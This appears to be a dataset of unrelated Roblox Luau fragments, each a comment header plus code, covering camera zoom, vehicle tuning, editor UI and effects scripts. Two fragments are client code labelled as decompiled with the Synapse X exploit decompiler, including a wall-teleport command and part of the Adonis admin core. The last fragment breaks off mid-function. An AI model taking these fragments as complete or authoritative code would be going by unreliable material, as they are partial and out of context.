local x1 = goal + (v*dt - offset*(step + 1))*decay
local v1 = ((offset*freq - v)*step + v)*decay
-- Constrain
if x1 < minValue then
x1 = minValue
v1 = 0
elseif x1 > maxValue then
x1 = maxValue
v1 = 0
end
self.x = x1
self.v = v1
return x1
end
end
local zoomSpring = ConstrainedSpring.new(ZOOM_STIFFNESS, ZOOM_DEFAULT, MIN_FOCUS_DIST, cameraMaxZoomDistance)
local function stepTargetZoom(z: number, dz: number, zoomMin: number, zoomMax: number)
z = clamp(z + dz*(1 + z*ZOOM_ACCELERATION), zoomMin, zoomMax)
if z < DIST_OPAQUE then
z = dz <= 0 and zoomMin or DIST_OPAQUE
end
return z
end
local zoomDelta = 0
local Zoom = {} do
function Zoom.Update(renderDt: number, focus: CFrame, extrapolation)
local poppedZoom = math.huge
if zoomSpring.goal > DIST_OPAQUE then
-- Make a pessimistic estimate of zoom distance for this step without accounting for poppercam
local maxPossibleZoom = max(
zoomSpring.x,
stepTargetZoom(zoomSpring.goal, zoomDelta, cameraMinZoomDistance, cameraMaxZoomDistance)
)
-- Run the Popper algorithm on the feasible zoom range, [MIN_FOCUS_DIST, maxPossibleZoom]
poppedZoom = Popper(
focus*CFrame.new(0, 0, MIN_FOCUS_DIST),
maxPossibleZoom - MIN_FOCUS_DIST,
extrapolation
) + MIN_FOCUS_DIST
end
zoomSpring.minValue = MIN_FOCUS_DIST
zoomSpring.maxValue = min(cameraMaxZoomDistance, poppedZoom)
return zoomSpring:Step(renderDt)
end
function Zoom.GetZoomRadius()
return zoomSpring.x
end
function Zoom.SetZoomParameters(targetZoom, newZoomDelta)
zoomSpring.goal = targetZoom
zoomDelta = newZoomDelta
end
function Zoom.ReleaseSpring()
zoomSpring.x = zoomSpring.goal
zoomSpring.v = 0
end
end
return Zoom
|
--Experimental Feature |
script.Parent.Disabled = true
wait(1)
for i,l in pairs(script.Parent.Parent.Car.Welds:GetChildren()) do
l:Destroy()
end
wait(1)
script.Parent.Disabled = false
script.Disabled = true
|
-- Create component |
local SelectionPane = Roact.PureComponent:extend(script.Name)
function SelectionPane:init()
self.Maid = Maid.new()
self.PaneSize, self.SetPaneSize = Roact.createBinding(UDim2.new())
self:UpdateHistoryState()
self.Maid.TrackHistory = self.props.Core.History.Changed:Connect(function ()
self:UpdateHistoryState()
end)
self:UpdateSelectionState()
self.Maid.TrackSelection = self.props.Core.Selection.Changed:Connect(function ()
self:UpdateSelectionState()
end)
self:UpdateExplorerState()
self.Maid.TrackExplorer = self.props.Core.ExplorerVisibilityChanged:Connect(function ()
self:UpdateExplorerState()
end)
end
function SelectionPane:UpdateHistoryState()
self:setState({
CanUndo = (self.props.Core.History.Index > 0);
CanRedo = (self.props.Core.History.Index ~= #self.props.Core.History.Stack);
})
end
function SelectionPane:UpdateSelectionState()
self:setState({
IsSelectionEmpty = (#self.props.Core.Selection.Items == 0);
})
end
function SelectionPane:UpdateExplorerState()
self:setState({
IsExplorerOpen = self.props.Core.ExplorerVisible;
})
end
function SelectionPane:willUnmount()
self.Maid:Destroy()
end
function SelectionPane:render()
return new('Frame', {
BackgroundTransparency = 0.7;
BackgroundColor3 = Color3.fromRGB(0, 0, 0);
BorderSizePixel = 0;
Size = self.PaneSize;
LayoutOrder = self.props.LayoutOrder;
}, {
Corners = new('UICorner', {
CornerRadius = UDim.new(0, 3);
});
SizeConstraint = new('UISizeConstraint', {
MinSize = Vector2.new(70, 0);
});
Layout = new('UIGridLayout', {
CellPadding = UDim2.new(0, 0, 0, 0);
CellSize = UDim2.new(0, 35, 0, 35);
FillDirection = Enum.FillDirection.Horizontal;
FillDirectionMaxCells = 0;
HorizontalAlignment = Enum.HorizontalAlignment.Left;
VerticalAlignment = Enum.VerticalAlignment.Top;
SortOrder = Enum.SortOrder.LayoutOrder;
StartCorner = Enum.StartCorner.TopLeft;
[Roact.Ref] = function (rbx)
if rbx then
self.SetPaneSize(UDim2.fromOffset(rbx.AbsoluteContentSize.X, rbx.AbsoluteContentSize.Y))
end
end;
[Roact.Change.AbsoluteContentSize] = function (rbx)
self.SetPaneSize(UDim2.fromOffset(rbx.AbsoluteContentSize.X, rbx.AbsoluteContentSize.Y))
end;
});
UndoButton = new(SelectionButton, {
LayoutOrder = 0;
IconAssetId = 'rbxassetid://141741408';
IsActive = self.state.CanUndo;
OnActivated = self.props.Core.History.Undo;
TooltipText = '<b>UNDO</b><br />Shift-Z';
});
RedoButton = new(SelectionButton, {
LayoutOrder = 1;
IconAssetId = 'rbxassetid://141741327';
IsActive = self.state.CanRedo;
OnActivated = self.props.Core.History.Redo;
TooltipText = '<b>REDO</b><br />Shift-Y';
});
DeleteButton = new(SelectionButton, {
LayoutOrder = 2;
IconAssetId = 'rbxassetid://141896298';
IsActive = not self.state.IsSelectionEmpty;
OnActivated = self.props.Core.DeleteSelection;
TooltipText = '<b>DELETE</b><br />Shift-X';
});
ExportButton = new(SelectionButton, {
LayoutOrder = 3;
IconAssetId = 'rbxassetid://141741337';
IsActive = not self.state.IsSelectionEmpty;
OnActivated = self.props.Core.ExportSelection;
TooltipText = '<b>EXPORT</b><br />Shift-P';
});
CloneButton = new(SelectionButton, {
LayoutOrder = 4;
IconAssetId = 'rbxassetid://142073926';
IsActive = not self.state.IsSelectionEmpty;
OnActivated = self.props.Core.CloneSelection;
TooltipText = '<b>CLONE</b><br />Shift-C';
});
ExplorerButton = new(SelectionButton, {
LayoutOrder = 5;
IconAssetId = 'rbxassetid://2326621485';
IsActive = self.state.IsExplorerOpen;
OnActivated = self.props.Core.ToggleExplorer;
TooltipText = '<b>EXPLORER</b><br />Shift-H';
});
})
end
return SelectionPane
|
--// Connections |
L_1_.ChildAdded:connect(function(L_38_arg1)
if L_38_arg1:IsA('Weld') then
local L_39_ = L_38_arg1.Part1.Parent
local L_40_ = game.Players:GetPlayerFromCharacter(L_39_)
if not L_8_.isGroupOnly or L_8_.isGroupOnly and L_40_:GetRankInGroup(L_8_.GroupID) >= L_8_.GroupRank then
L_7_.Value = L_40_
L_2_:WaitForChild('RegenButton'):WaitForChild('Regen'):WaitForChild('CanRegen').Value = false
local L_41_ = L_1_.Parent.Engine:FindFirstChild('BodyGyro') or Instance.new('BodyGyro', L_1_.Parent:WaitForChild('Engine'))
L_41_.CFrame = L_1_.Parent:WaitForChild('Engine').CFrame
L_41_.D = 500
L_41_.P = 3000
L_41_.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
local L_42_ = L_1_.Parent.Engine:FindFirstChild('BodyPosition') or Instance.new('BodyPosition', L_1_.Parent:WaitForChild('Engine'))
L_42_.D = 1250
L_42_.P = 10000
L_42_.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
L_42_.Position = L_1_.Parent:WaitForChild('Engine').Position
if L_40_ then
local L_43_ = script:WaitForChild('Heli_Control'):clone()
L_43_.Parent = L_40_.PlayerGui
L_43_:WaitForChild('EnginePart').Value = L_1_.Parent:WaitForChild('Engine')
L_43_.Disabled = false
end
end;
end
end)
L_1_.ChildRemoved:connect(function(L_44_arg1)
if L_44_arg1:IsA('Weld') then
L_2_:WaitForChild('RegenButton'):WaitForChild('Regen'):WaitForChild('CanRegen').Value = true
end
end)
|
-- Player Variables |
local player = Players.LocalPlayer
local character = player.Character or player.CharacterAdded:wait()
local humanoid = character:WaitForChild("Humanoid")
|
-- Create class |
local UIController = {}
UIController.__index = UIController
function UIController.new(Tool)
local self = {
Tool = Tool;
-- State
UI = nil;
Maid = Maid.new()
}
return setmetatable(self, UIController)
end
function UIController:ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if self.UI then
self.UI.Visible = true
self.Maid.UIUpdater = Support.Loop(0.1, self.UpdateUI, self)
self:AttachDragListener()
self:AttachAxesListener()
return
end
-- Create the UI
self.UI = Core.Tool.Interfaces.BTMoveToolGUI:Clone()
self.UI.Parent = Core.UI
self.UI.Visible = true
-- Add functionality to the axes option switch
local AxesSwitch = self.UI.AxesOption
AxesSwitch.Global.Button.MouseButton1Down:Connect(function ()
self.Tool:SetAxes('Global')
end)
AxesSwitch.Local.Button.MouseButton1Down:Connect(function ()
self.Tool:SetAxes('Local')
end)
AxesSwitch.Last.Button.MouseButton1Down:Connect(function ()
self.Tool:SetAxes('Last')
end)
-- Add functionality to the increment input
local IncrementInput = self.UI.IncrementOption.Increment.TextBox
IncrementInput.FocusLost:Connect(function (EnterPressed)
self.Tool.Increment = tonumber(IncrementInput.Text) or self.Tool.Increment
IncrementInput.Text = Support.Round(self.Tool.Increment, 4)
end)
-- Add functionality to the position inputs
local XInput = self.UI.Info.Center.X.TextBox
local YInput = self.UI.Info.Center.Y.TextBox
local ZInput = self.UI.Info.Center.Z.TextBox
XInput.FocusLost:Connect(function (EnterPressed)
local NewPosition = tonumber(XInput.Text)
if NewPosition then
self.Tool:SetAxisPosition('X', NewPosition)
end
end)
YInput.FocusLost:Connect(function (EnterPressed)
local NewPosition = tonumber(YInput.Text)
if NewPosition then
self.Tool:SetAxisPosition('Y', NewPosition)
end
end)
ZInput.FocusLost:Connect(function (EnterPressed)
local NewPosition = tonumber(ZInput.Text)
if NewPosition then
self.Tool:SetAxisPosition('Z', NewPosition)
end
end)
-- Hook up manual triggering
local SignatureButton = self.UI:WaitForChild('Title'):WaitForChild('Signature')
ListenForManualWindowTrigger(self.Tool.ManualText, self.Tool.Color.Color, SignatureButton)
-- Update the UI every 0.1 seconds
self.Maid.UIUpdater = Support.Loop(0.1, self.UpdateUI, self)
-- Attach state listeners
self:AttachDragListener()
self:AttachAxesListener()
end
function UIController:AttachDragListener()
self.Maid.DragListener = self.Tool.DragChanged:Connect(function (Distance)
-- Update the "distance moved" indicator
self.UI.Changes.Text.Text = 'moved ' .. math.abs(Distance) .. ' studs'
end)
end
function UIController:AttachAxesListener()
self.Maid.AxesListener = self.Tool.AxesChanged:Connect(function (AxesMode)
-- Update the UI switch
Core.ToggleSwitch(AxesMode, self.UI.AxesOption)
end)
end
function UIController:HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not self.UI then
return
end
-- Hide the UI
self.UI.Visible = false
-- Stop updating the UI
self.Maid:Destroy()
end
function UIController:UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not self.UI then
return
end
-- Only show and calculate selection info if it's not empty
if #Selection.Parts == 0 then
self.UI.Info.Visible = false
self.UI.Size = UDim2.new(0, 245, 0, 90)
return
else
self.UI.Info.Visible = true
self.UI.Size = UDim2.new(0, 245, 0, 150)
end
---------------------------------------------
-- Update the position information indicators
---------------------------------------------
-- Identify common positions across axes
local XVariations, YVariations, ZVariations = {}, {}, {}
for _, Part in pairs(Selection.Parts) do
table.insert(XVariations, Support.Round(Part.Position.X, 3))
table.insert(YVariations, Support.Round(Part.Position.Y, 3))
table.insert(ZVariations, Support.Round(Part.Position.Z, 3))
end
local CommonX = Support.IdentifyCommonItem(XVariations)
local CommonY = Support.IdentifyCommonItem(YVariations)
local CommonZ = Support.IdentifyCommonItem(ZVariations)
-- Shortcuts to indicators
local XIndicator = self.UI.Info.Center.X.TextBox
local YIndicator = self.UI.Info.Center.Y.TextBox
local ZIndicator = self.UI.Info.Center.Z.TextBox
-- Update each indicator if it's not currently being edited
if not XIndicator:IsFocused() then
XIndicator.Text = CommonX or '*'
end
if not YIndicator:IsFocused() then
YIndicator.Text = CommonY or '*'
end
if not ZIndicator:IsFocused() then
ZIndicator.Text = CommonZ or '*'
end
end
function UIController:FocusIncrementInput()
self.UI.IncrementOption.Increment.TextBox:CaptureFocus()
end
return UIController
|
--------LEFT DOOR 4-------- |
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(102)
|
--For running in command bar |
local function setLayeredClothingOrder(obj)
if obj:IsA("WrapLayer") then
if obj.Order ~= 1 then
obj.Order = 1
print(obj.Name)
end
end
for _, child in ipairs(obj:GetChildren()) do
setLayeredClothingOrder(child)
end
end
setLayeredClothingOrder(game:GetService("ReplicatedStorage"))
|
-----------------
--| Constants |--
----------------- |
local BLAST_RADIUS = 35 -- Blast radius of the explosion
local BLAST_DAMAGE = 1000 -- Amount of damage done to players
local BLAST_FORCE = 1000 -- Amount of force applied to parts
local idealVelocity
local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these |
-- Get references to the DockShelf and its children |
local fldr = script.Parent.Parent.Parent.CreateFrame
local createButton = fldr.Parent.Create
local btn = script.Parent
local function toggleWindow()
-- Close the window by tweening back to the button position and size
fldr:TweenSizeAndPosition(
UDim2.new(1, 0, 0.022, 0),
UDim2.new(0.0,0,0.978,0),
'Out',
'Quad',
0.4,
false,
function()
fldr.Visible = false
createButton.Visible = true
end
)
end
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 250 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--//Controller//-- |
game.Players.PlayerAdded:Connect(function(Player)
local Leaderboard = Instance.new("Folder")
Leaderboard.Name = "leaderstats"
Leaderboard.Parent = Player
local Currency = Instance.new("IntValue")
Currency.Name = Configuration.CurrencyName.Value
Currency.Parent = Leaderboard
end)
|
--[[Status Vars]] |
local _IsOn = _Tune.AutoStart
if _Tune.AutoStart then script.Parent.IsOn.Value=true end
local _GSteerT=0
local _GSteerC=0
local _GThrot=0
local _GBrake=0
local _ClutchOn = true
local _ClPressing = false
local _RPM = 0
local _HP = 0
local _OutTorque = 0
local _CGear = 0
local _PGear = _CGear
local _TMode = _Tune.TransModes[1]
local _MSteer = false
local _SteerL = false
local _SteerR = false
local _PBrake = false
local _TCS = _Tune.TCSEnabled
local _TCSActive = false
local _ABS = _Tune.ABSEnabled
local _ABSActive = false
local FlipWait=tick()
local FlipDB=false
local _InControls = false
|
-- ================================================================================
-- VARIABLES
-- ================================================================================
-- ScreenGui containing the game |
local CountdownGui = script.Parent
local TimerFrame = CountdownGui:WaitForChild("TimerFrame")
local TimerBar = TimerFrame:WaitForChild("TimerBar")
local Timer = TimerBar:WaitForChild("Timer")
|
-- made by Weeve. for all of you lamo scripters out there, can you at least leave my name here?
-- don't edit anything here |
seat = script.Parent
function onChildAdded(part)
script.Parent.EngineStart:Play()
script.Parent.EngineStop:Stop()
wait(2.675)
script.Parent.EngineSound:Play()
end
function onChildRemoved(part)
script.Parent.EngineStop:Play()
script.Parent.EngineSound:Stop()
script.Parent.EngineStart:Stop()
end
seat.ChildAdded:connect(onChildAdded)
seat.ChildRemoved:connect(onChildRemoved) |
--Version 2 1.02 I fixed some problems caused by the updates. |
adminlist = {""}--Add in the names of the people you want to be able to use the command script here. |
----------------------------------------- |
puff = Instance.new("Part")
script.Parent.Anchored=true
puff.CanCollide = false
puff.Anchored = true
puff.Name = "whoosh"
puff.Transparency = 0
puff.BrickColor = BrickColor.new("Pearl")
puff.formFactor = "Custom"
puff.TopSurface = 0
puff.BottomSurface = 0
puff.Size = Vector3.new(1,1,1)
puff.Material = Enum.Material.SmoothPlastic
puff.CastShadow = false
script.Mesh:clone().Parent = puff
local erase = script.tweener:Clone()
erase.Parent = puff
erase.Disabled = false
puff.Parent = game.Workspace
puff.Position = script.Parent.Position
puff.CastShadow = false
puff = Instance.new("Part")
script.Parent.Anchored=true
puff.CanCollide = false
puff.Anchored = true
puff.Name = "whoosh"
puff.Transparency = 0
puff.BrickColor = BrickColor.new("Pearl")
puff.formFactor = "Custom"
puff.TopSurface = 0
puff.BottomSurface = 0
puff.Size = Vector3.new(1,1,1)
puff.Material = Enum.Material.Neon
puff.CastShadow = false
script.Mesh:clone().Parent = puff
local erase = script.tweener2:Clone()
erase.Parent = puff
erase.Disabled = false
puff.Parent = game.Workspace
puff.Position = script.Parent.Position
puff.CastShadow = false
puff = Instance.new("Part")
script.Parent.Anchored=true
puff.CanCollide = false
puff.Anchored = true
puff.Name = "whoosh"
puff.Transparency = 0
puff.BrickColor = BrickColor.new("Pearl")
puff.formFactor = "Custom"
puff.TopSurface = 0
puff.BottomSurface = 0
puff.Size = Vector3.new(1,1,1)
puff.Material = Enum.Material.SmoothPlastic
puff.CastShadow = false
script.Mesh:clone().Parent = puff
local erase = script.tweener3:Clone()
erase.Parent = puff
erase.Disabled = false
puff.Parent = game.Workspace
puff.Position = script.Parent.Position
puff.CastShadow = false |
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels]
--[Values are in degrees] |
Tune.FCamber = -12
Tune.RCamber = -7
Tune.FToe = 0
Tune.RToe = 0
|
-- Decompiled with the Synapse X Luau decompiler. |
return {
Name = "thru",
Aliases = { "t", "through" },
Description = "Teleports you through whatever your mouse is hovering over, placing you equidistantly from the wall.",
Group = "DefaultDebug",
Args = { {
Type = "number",
Name = "Extra distance",
Description = "Go through the wall an additional X studs.",
Default = 0
} },
ClientRun = function(p1, p2)
local l__Character__1 = p1.Executor.Character;
if not l__Character__1 or not l__Character__1:FindFirstChild("HumanoidRootPart") then
return "You don't have a character.";
end;
local l__Position__2 = l__Character__1.HumanoidRootPart.Position;
local v3 = p1.Executor:GetMouse().Hit.p - l__Position__2;
l__Character__1:MoveTo(v3 * 2 + v3.unit * p2 + l__Position__2);
return "Blinked!";
end
};
|
-- Decompiled with the Synapse X Luau decompiler. |
client = nil;
service = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
GetEnv = nil;
origEnv = nil;
logError = nil;
return function()
local u1 = nil;
local l__client__2 = client;
local u3 = nil;
local u4 = nil;
local u5 = nil;
local u6 = nil;
local u7 = nil;
local u8 = nil;
getfenv().client = nil;
getfenv().service = nil;
getfenv().script = nil;
local v1 = {
Init = function()
u1 = l__client__2.UI;
u3 = l__client__2.Anti;
u4 = l__client__2.Core;
u5 = l__client__2.Variables;
u6 = l__client__2.Functions;
u7 = l__client__2.Process;
u8 = l__client__2.Remote;
end,
Name = script.Name,
Special = script.Name,
MakeGui = l__client__2.UI.Make,
GetGui = l__client__2.UI.Get,
RemoveGui = l__client__2.UI.Remove,
ScriptCache = {}
};
local l__os__9 = os;
local l__next__10 = next;
local l__service__11 = service;
local l__string__12 = string;
local l__table__13 = table;
local l__select__14 = select;
local l__wait__15 = wait;
function v1.GetEvent()
if u4.RemoteEvent then
u4.RemoteEvent.Event:Disconnect();
u4.RemoteEvent.Security:Disconnect();
u4.RemoteEvent = nil;
end;
u4.RemoteEvent = {};
local v2 = nil;
local v3 = 1;
local v4 = 0;
local v5 = l__os__9.time();
local u16 = {};
local u17 = 0;
local u18 = nil;
local function u19(p1)
if p1 then
local v6 = p1:FindFirstChildOfClass("RemoteFunction");
if not v6 then
l__client__2.Kill("RemoteFunction not found");
return;
end;
u4.RemoteEvent.Object = p1;
u4.RemoteEvent.Function = v6;
v6.OnClientInvoke = u7.Remote;
u4.RemoteEvent.FireServer = p1.FireServer;
u4.RemoteEvent.Event = p1.OnClientEvent:Connect(u7.Remote);
u4.RemoteEvent.Security = p1.Changed:Connect(function(p2)
if u4.RemoteEvent.Function then
u4.RemoteEvent.Function.OnClientInvoke = u7.Remote;
end;
if p2 == "RobloxLocked" and u3.RLocked(p1) then
l__client__2.Kill("RemoteEvent Locked");
return;
end;
if not p1 or not p1.Parent then
u4.GetEvent();
end;
end);
v6.Changed:Connect(function()
v6.OnClientInvoke = u7.Remote;
end);
if u4.Key then
return;
end;
else
l__client__2.Kill("RemoteEvent not found");
return;
end;
u8.Fire(l__client__2.DepsName .. "GET_KEY");
end;
while true do
if v4 < l__os__9.time() then
v4 = l__os__9.time();
v3 = v3 + 1;
if v3 % 10 == 0 or not v2 then
v2 = true;
local v7 = l__service__11.JointsService:FindFirstChild(l__client__2.RemoteName);
if v7 then
u18 = v7;
u19(v7);
end;
end;
end;
if u18 then
break;
end;
if not l__wait__15(0.01) then
break;
end;
end;
end;
local l__require__20 = require;
local l__setfenv__21 = setfenv;
local l__getfenv__22 = getfenv;
function v1.LoadPlugin(p3)
local v8 = l__require__20(p3);
cPcall((l__setfenv__21(v8, GetEnv(l__getfenv__22(v8)))));
end;
function v1.LoadBytecode(p4, p5)
return l__require__20(l__client__2.Deps.Rerubi)(p4, p5);
end;
function v1.LoadCode(p6, p7)
return u4.LoadBytecode(p6, p7);
end;
local l__tick__23 = tick;
local l__math__24 = math;
function v1.CheckClient()
if l__tick__23() - u4.LastUpdate >= 55 then
l__wait__15(l__math__24.random());
local v9 = u8.Send("ClientCheck", {
Sent = 0,
Received = u8.Received
}, l__client__2.DepsName, (l__math__24.random()));
end;
end;
local l___G__25 = _G;
local l__setmetatable__26 = setmetatable;
local l__type__27 = type;
local l__print__28 = print;
local l__error__29 = error;
local l__pairs__30 = pairs;
local l__warn__31 = warn;
local l__rawset__32 = rawset;
local l__rawget__33 = rawget;
local l__tostring__34 = tostring;
local l__getmetatable__35 = getmetatable;
function v1.StartAPI()
local l__MetaFunc__10 = l__service__11.MetaFunc;
local l__ReadOnly__11 = l__service__11.ReadOnly;
local l__ReadOnly__12 = l__service__11.ReadOnly;
local v13 = {};
l__setfenv__21(1, l__setmetatable__26({}, {
__metatable = l__getmetatable__35(l__getfenv__22())
}));
local v14 = {};
local v15 = {};
function v15.Test()
l__print__28("We ran the api specific stuff");
end;
v14.API_Specific = v15;
v14.Service = nil;
local v16 = {
Access = l__ReadOnly__12({}, nil, nil, true)
};
local v17 = {};
local l__ScriptCache__36 = u4.ScriptCache;
local l__UnWrap__37 = l__service__11.UnWrap;
local l__Get__38 = u8.Get;
local l__Rerubi__39 = l__client__2.Deps.Rerubi;
v17.ExecutePermission = l__MetaFunc__10(function(p8)
local v18 = nil;
for v19, v20 in l__next__10, l__ScriptCache__36 do
if l__UnWrap__37(v20.Script) == l__getfenv__22(2).script then
v18 = v20;
end;
end;
if v18 and v18.noCache ~= true and (not v18.runLimit or v18.runLimit and v18.Executions <= v18.runLimit) then
v18.Executions = v18.Executions + 1;
return v18.Source, v18.Loadstring;
end;
local v21 = l__Get__38("ExecutePermission", l__UnWrap__37(l__getfenv__22(3).script), p8, true);
if not v21 or not v21.Source then
return;
end;
if not v18 then
local v22 = l__require__20(l__Rerubi__39:Clone());
l__table__13.insert(l__ScriptCache__36, {
Script = l__getfenv__22(2).script,
Source = v21.Source,
Loadstring = v22,
noCache = v21.noCache,
runLimit = v21.runLimit,
Executions = v21.Executions
});
else
v22 = v18.Loadstring;
v18.Source = v21.Source;
end;
return v21.Source, v22;
end);
v17.ReportLBI = l__MetaFunc__10(function(p9, p10)
if p10 ~= "Local" then
return;
end;
return true;
end);
v16.Scripts = l__ReadOnly__12(v17, nil, nil, true);
local v23 = {};
local l__G_API__40 = l__client__2.G_API;
local l__Allowed_API_Calls__41 = l__client__2.Allowed_API_Calls;
function v23.__index(p11, p12)
if p12 == "Scripts" then
return v16.Scripts;
end;
if not l__G_API__40 or l__Allowed_API_Calls__41.Client ~= true then
l__error__29("_G API is disabled");
return;
end;
if l__type__27(v16[p12]) ~= "function" then
return v16[p12];
end;
return l__MetaFunc__10(v16[p12]);
end;
function v23.__newindex(p13, p14, p15)
l__error__29("Read-only");
end;
v23.__metatable = "API";
AdonisGTable = l__service__11.NewProxy(v23);
if not l___G__25.Adonis then
l__rawset__32(l___G__25, "Adonis", AdonisGTable);
l__service__11.StartLoop("APICheck", 1, function()
l__rawset__32(l___G__25, "Adonis", AdonisGTable);
end, true);
end;
end;
l__client__2.Core = v1;
end;
|
--------| Variables |-------- |
local archive = {}
|
--[[Transmission]] |
Tune.TransModes = {"Auto", "Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.7 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 2.6 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 1.8 ,
--[[ 3 ]] 1.3 ,
--[[ 4 ]] 1 ,
--[[ 5 ]] .8 ,
--[[ 6 ]] .6 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- Set defaults |
TextLabel.defaultProps = {
BackgroundTransparency = 1,
BorderSizePixel = 0,
Size = UDim2.new(1, 0, 1, 0),
TextSize = 16,
Font = 'SourceSans',
TextColor3 = Color3.new(0, 0, 0),
TextXAlignment = 'Left'
}
|
--// Core |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local script = script
local service = Vargs.Service
local client = Vargs.Client
local Anti, Core, Functions, Process, Remote, UI, Variables
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
Core.Name = "\0"
Core.Special = client.DepsName
Core.MakeGui = UI.Make;
Core.GetGui = UI.Get;
Core.RemoveGui = UI.Remove;
Core.Init = nil;
end
local function RunAfterPlugins(data)
Core.GetEvent()
Core.RunAfterPlugins = nil;
end
local function RunLast()
--// API
if service.NetworkClient then
service.TrackTask("Thread: API Manager", Core.StartAPI)
--service.Threads.RunTask("_G API Manager",client.Core.StartAPI)
end
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunLast = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
Core.RunLast = nil
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.Core = {
Init = Init;
RunLast = RunLast;
--RunAfterLoaded = RunAfterLoaded;
RunAfterPlugins = RunAfterPlugins;
Name = script.Name;
Special = script.Name;
ScriptCache = {};
GetEvent = function()
if Core.RemoteEvent then
log("Disconnect old RemoteEvent")
for name,event in Core.RemoteEvent.Events do
event:Disconnect()
end
Core.RemoteEvent = nil;
end
log("Getting RemoteEvent");
local eventData = {}
local remoteParent = service.ReplicatedStorage;
local event = remoteParent:WaitForChild(client.RemoteName, 300)
if not event then
